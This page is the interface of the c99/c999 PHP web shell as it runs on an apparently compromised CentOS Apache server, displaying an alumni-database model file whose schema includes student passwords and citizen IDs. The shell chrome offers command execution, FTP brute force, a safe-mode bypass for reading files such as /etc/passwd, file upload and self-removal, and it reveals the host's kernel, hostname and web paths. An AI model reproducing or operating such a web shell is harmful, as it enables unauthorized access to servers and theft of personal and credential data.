!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/models/ealumni/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     da_AlumniMain.php (5.47 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include_once("my_ea_model.php");

class 
Da_alumnimain extends My_ea_model {
    
    
// PK is alumniId
    
    
public $alumniId;
    public 
$studentId;
    public 
$studentCode;
    public 
$levelId;
    public 
$programId;
    public 
$prefixId;
    public 
$studentName;
    public 
$studentSurname;
    public 
$studentNameEng;
    public 
$studentSurnameEng;
    public 
$creditAttempt;
    public 
$creditSatisfy;
    public 
$GPA;
    public 
$admitAcadYear;
    public 
$admitSemester;
    public 
$admitDate;
    public 
$finishDate;
    public 
$studentPassword;
    public 
$studentEmail;
    public 
$studentYear;
    public 
$studentStatus;
    public 
$officerId1;
    public 
$officerId2;
    public 
$financeStatus;
    public 
$updateUserId;
    public 
$updateDateTime;
    public 
$citizenId;
    public 
$graduateYear;
    public 
$genStatus;
    public 
$genNo;
    public 
$entryTypeId;
    public 
$entryTypeId2;
    public 
$studentSex;
    public 
$scholarId;
    public 
$preAdmitPositionId;
    public 
$totalPoint;
    public 
$honor;
    public 
$medal;
    public 
$exitExam;
    public 
$studentStatusTmp;
    public 
$importtoalumni;
    public 
$glantId;
    public 
$glantDate;
    public 
$glantreqDate;
    public 
$amAnsQn;
    public 
$amProgramAlumni;

    public 
$last_insert_id;

    function 
Da_alumnimain() {
        
parent::__construct();
        
$this->load->database('ea'TRUE);
    }
    
    function 
insert() {
        
// if there is no auto_increment field, please remove it
        
$sql "INSERT INTO $this->ea_dbname.AlumniMain (alumniId, studentId, studentCode, levelId, programId, prefixId, studentName, studentSurname, studentNameEng, studentSurnameEng, creditAttempt, creditSatisfy, GPA, admitAcadYear, admitSemester, admitDate, finishDate, studentPassword, studentEmail, studentYear, studentStatus, officerId1, officerId2, financeStatus, updateUserId, updateDateTime, citizenId, graduateYear, genStatus, genNo, entryTypeId, entryTypeId2, studentSex, scholarId, preAdmitPositionId, totalPoint, honor, medal, exitExam, studentStatusTmp, importtoalumni, glantId, glantDate, glantreqDate, amAnsQn, amProgramAlumni)
                VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"
;
        
$this->db->query($sql, array($this->alumniId$this->studentId$this->studentCode$this->levelId$this->programId$this->prefixId$this->studentName$this->studentSurname$this->studentNameEng$this->studentSurnameEng$this->creditAttempt$this->creditSatisfy$this->GPA$this->admitAcadYear$this->admitSemester$this->admitDate$this->finishDate$this->studentPassword$this->studentEmail$this->studentYear$this->studentStatus$this->officerId1$this->officerId2$this->financeStatus$this->updateUserId$this->updateDateTime$this->citizenId$this->graduateYear$this->genStatus$this->genNo$this->entryTypeId$this->entryTypeId2$this->studentSex$this->scholarId$this->preAdmitPositionId$this->totalPoint$this->honor$this->medal$this->exitExam$this->studentStatusTmp$this->importtoalumni$this->glantId$this->glantDate$this->glantreqDate$this->amAnsQn$this->amProgramAlumni));
        
$this->last_insert_id $this->db->insert_id();
    }
    
    function 
update() {
        
// if there is no primary key, please remove WHERE clause.
        
$sql "UPDATE $this->ea_dbname.AlumniMain 
                SET    studentId=?, studentCode=?, levelId=?, programId=?, prefixId=?, studentName=?, studentSurname=?, studentNameEng=?, studentSurnameEng=?, creditAttempt=?, creditSatisfy=?, GPA=?, admitAcadYear=?, admitSemester=?, admitDate=?, finishDate=?, studentPassword=?, studentEmail=?, studentYear=?, studentStatus=?, officerId1=?, officerId2=?, financeStatus=?, updateUserId=?, updateDateTime=?, citizenId=?, graduateYear=?, genStatus=?, genNo=?, entryTypeId=?, entryTypeId2=?, studentSex=?, scholarId=?, preAdmitPositionId=?, totalPoint=?, honor=?, medal=?, exitExam=?, studentStatusTmp=?, importtoalumni=?, glantId=?, glantDate=?, glantreqDate=?, amAnsQn=?, amProgramAlumni=? 
                WHERE alumniId=?"
;    
        
$this->db->query($sql, array($this->studentId$this->studentCode$this->levelId$this->programId$this->prefixId$this->studentName$this->studentSurname$this->studentNameEng$this->studentSurnameEng$this->creditAttempt$this->creditSatisfy$this->GPA$this->admitAcadYear$this->admitSemester$this->admitDate$this->finishDate$this->studentPassword$this->studentEmail$this->studentYear$this->studentStatus$this->officerId1$this->officerId2$this->financeStatus$this->updateUserId$this->updateDateTime$this->citizenId$this->graduateYear$this->genStatus$this->genNo$this->entryTypeId$this->entryTypeId2$this->studentSex$this->scholarId$this->preAdmitPositionId$this->totalPoint$this->honor$this->medal$this->exitExam$this->studentStatusTmp$this->importtoalumni$this->glantId$this->glantDate$this->glantreqDate$this->amAnsQn$this->amProgramAlumni$this->alumniId));    
    }
    
    function 
delete() {
        
// if there is no primary key, please remove WHERE clause.
        
$sql "DELETE FROM $this->ea_dbname.AlumniMain
                WHERE alumniId=?"
;
        
$this->db->query($sql, array($this->alumniId));
    }
    
    
/*
     * You have to assign primary key value before call this function.
     */
    
function get_by_key($withSetAttributeValue=FALSE) {    
        
$sql "SELECT * 
                FROM $this->ea_dbname.AlumniMain 
                WHERE alumniId=?"
;
        
$query $this->db->query($sql, array($this->alumniId));
        if ( 
$withSetAttributeValue ) {
            
$this->row2attribute$query->row() );
        } else {
            return 
$query ;
        }
    }
    
}     
//=== end class Da_alumnimain
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0069 ]--